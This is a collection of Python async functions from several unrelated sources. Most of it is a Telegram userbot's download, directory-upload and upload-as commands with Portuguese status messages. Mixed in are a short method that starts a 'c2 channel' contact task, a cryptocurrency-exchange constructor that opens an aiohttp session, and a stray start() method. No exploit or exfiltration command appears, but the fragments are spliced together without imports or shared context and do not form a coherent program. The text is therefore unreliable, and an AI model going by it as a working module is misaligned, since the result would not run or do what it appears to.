async def download(target_file): """ For .download command, download files to the userbot's server. """ await target_file.edit("Processando ...") input_str = target_file.pattern_match.group(1) if not os.path.isdir(TEMP_DOWNLOAD_DIRECTORY): os.makedirs(TEMP_DOWNLOAD_DIRECTORY) if "|" in input_str: url, file_name = input_str.split("|") url = url.strip() # https://stackoverflow.com/a/761825/4723940 file_name = file_name.strip() head, tail = os.path.split(file_name) if head: if not os.path.isdir(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)): os.makedirs(os.path.join(TEMP_DOWNLOAD_DIRECTORY, head)) file_name = os.path.join(head, tail) downloaded_file_name = TEMP_DOWNLOAD_DIRECTORY + "/" + file_name downloader = SmartDL(url, downloaded_file_name, progress_bar=False) downloader.start(blocking=False) c_time = time.time() display_message = None while not downloader.isFinished(): status = downloader.get_status().capitalize() total_length = downloader.filesize if downloader.filesize else None downloaded = downloader.get_dl_size() now = time.time() diff = now - c_time percentage = downloader.get_progress() * 100 speed = downloader.get_speed() progress_str = "[{0}{1}] `{2}%`".format( "".join(["■" for i in range(math.floor(percentage / 10))]), "".join(["▨" for i in range(10 - math.floor(percentage / 10))]), round(percentage, 2), ) estimated_total_time = downloader.get_eta(human=True) try: current_message = ( f"`Nome` : `{file_name}`\n" "Status" f"\n**{status}**... | {progress_str}" f"\n{humanbytes(downloaded)} of {humanbytes(total_length)}" f" @ {speed}" f"\n`Tempo Estimado` -> {estimated_total_time}") if round(diff % 10.00) == 0 and current_message != display_message: await target_file.edit(current_message) display_message = current_message except Exception as e: LOGS.info(str(e)) if downloader.isSuccessful(): await target_file.edit( "Baixado para `{}` com sucesso !!".format(downloaded_file_name) ) else: await target_file.edit("URL incorreto\n{}".format(url)) elif target_file.reply_to_msg_id: try: c_time = time.time() downloaded_file_name = await target_file.client.download_media( await target_file.get_reply_message(), TEMP_DOWNLOAD_DIRECTORY, progress_callback=lambda d, t: asyncio.get_event_loop(). create_task(progress(d, t, target_file, c_time, "[DOWNLOAD]")), ) except Exception as e: # pylint:disable=C0103,W0703 await target_file.edit(str(e)) else: await target_file.edit( "Baixado para `{}` com sucesso !!".format(downloaded_file_name) ) else: await target_file.edit( "Responda a uma mensagem para fazer o download no meu servidor local." )
async def _start_c2_channel(self, contact): loop = asyncio.get_event_loop() loop.create_task(contact.start()) self.contacts.append(contact)
async def uploadir(udir_event): """ For .uploadir command, allows you to upload everything from a folder in the server""" input_str = udir_event.pattern_match.group(1) if os.path.exists(input_str): await udir_event.edit("Processando ...") lst_of_files = [] for r, d, f in os.walk(input_str): for file in f: lst_of_files.append(os.path.join(r, file)) for file in d: lst_of_files.append(os.path.join(r, file)) LOGS.info(lst_of_files) uploaded = 0 await udir_event.edit( "Encontrados {} arquivos. O upload começará em breve. Por favor, espere!" .format(len(lst_of_files))) for single_file in lst_of_files: if os.path.exists(single_file): # https://stackoverflow.com/a/678242/4723940 caption_rts = os.path.basename(single_file) c_time = time.time() if not caption_rts.lower().endswith(".mp4"): await udir_event.client.send_file( udir_event.chat_id, single_file, caption=caption_rts, force_document=False, allow_cache=False, reply_to=udir_event.message.id, progress_callback=lambda d, t: asyncio.get_event_loop( ).create_task( progress(d, t, udir_event, c_time, "[UPLOAD]", single_file)), ) else: thumb_image = os.path.join(input_str, "thumb.jpg") c_time = time.time() metadata = extractMetadata(createParser(single_file)) duration = 0 width = 0 height = 0 if metadata.has("duration"): duration = metadata.get("duration").seconds if metadata.has("width"): width = metadata.get("width") if metadata.has("height"): height = metadata.get("height") await udir_event.client.send_file( udir_event.chat_id, single_file, caption=caption_rts, thumb=thumb_image, force_document=False, allow_cache=False, reply_to=udir_event.message.id, attributes=[ DocumentAttributeVideo( duration=duration, w=width, h=height, round_message=False, supports_streaming=True, ) ], progress_callback=lambda d, t: asyncio.get_event_loop( ).create_task( progress(d, t, udir_event, c_time, "[UPLOAD]", single_file)), ) os.remove(single_file) uploaded = uploaded + 1 await udir_event.edit( "Enviados {} arquivos com sucesso !!".format(uploaded)) else: await udir_event.edit("404: Directory Not Found")
def __init__(self, config={}): super(Exchange, self).__init__(config) self.asyncio_loop = self.asyncio_loop or asyncio.get_event_loop() self.aiohttp_session = self.aiohttp_session or aiohttp.ClientSession(loop=self.asyncio_loop) self.init_rest_rate_limiter()
def start(self): loop = asyncio.get_event_loop() self.registerExitListener(lambda reason: loop.call_later(1.0, self.stop)) AdvancedStdio(self)
async def uploadas(uas_event): """ For .uploadas command, allows you to specify some arguments for upload. """ await uas_event.edit("Processando ...") type_of_upload = uas_event.pattern_match.group(1) supports_streaming = False round_message = False spam_big_messages = False if type_of_upload == "stream": supports_streaming = True if type_of_upload == "vn": round_message = True if type_of_upload == "all": spam_big_messages = True input_str = uas_event.pattern_match.group(2) thumb = None file_name = None if "|" in input_str: file_name, thumb = input_str.split("|") file_name = file_name.strip() thumb = thumb.strip() else: file_name = input_str thumb_path = "a_random_f_file_name" + ".jpg" thumb = get_video_thumb(file_name, output=thumb_path) if os.path.exists(file_name): metadata = extractMetadata(createParser(file_name)) duration = 0 width = 0 height = 0 if metadata.has("duration"): duration = metadata.get("duration").seconds if metadata.has("width"): width = metadata.get("width") if metadata.has("height"): height = metadata.get("height") try: if supports_streaming: c_time = time.time() await uas_event.client.send_file( uas_event.chat_id, file_name, thumb=thumb, caption=input_str, force_document=False, allow_cache=False, reply_to=uas_event.message.id, attributes=[ DocumentAttributeVideo( duration=duration, w=width, h=height, round_message=False, supports_streaming=True, ) ], progress_callback=lambda d, t: asyncio.get_event_loop(). create_task( progress(d, t, uas_event, c_time, "[UPLOAD]", file_name )), ) elif round_message: c_time = time.time() await uas_event.client.send_file( uas_event.chat_id, file_name, thumb=thumb, allow_cache=False, reply_to=uas_event.message.id, video_note=True, attributes=[ DocumentAttributeVideo( duration=0, w=1, h=1, round_message=True, supports_streaming=True, ) ], progress_callback=lambda d, t: asyncio.get_event_loop(). create_task( progress(d, t, uas_event, c_time, "[UPLOAD]", file_name )), ) elif spam_big_messages: return await uas_event.edit("TBD: Not (yet) Implemented") os.remove(thumb) await uas_event.edit("Uploaded com sucesso !!") except FileNotFoundError as err: await uas_event.edit(str(err)) else: await uas_event.edit("404: File Not Found")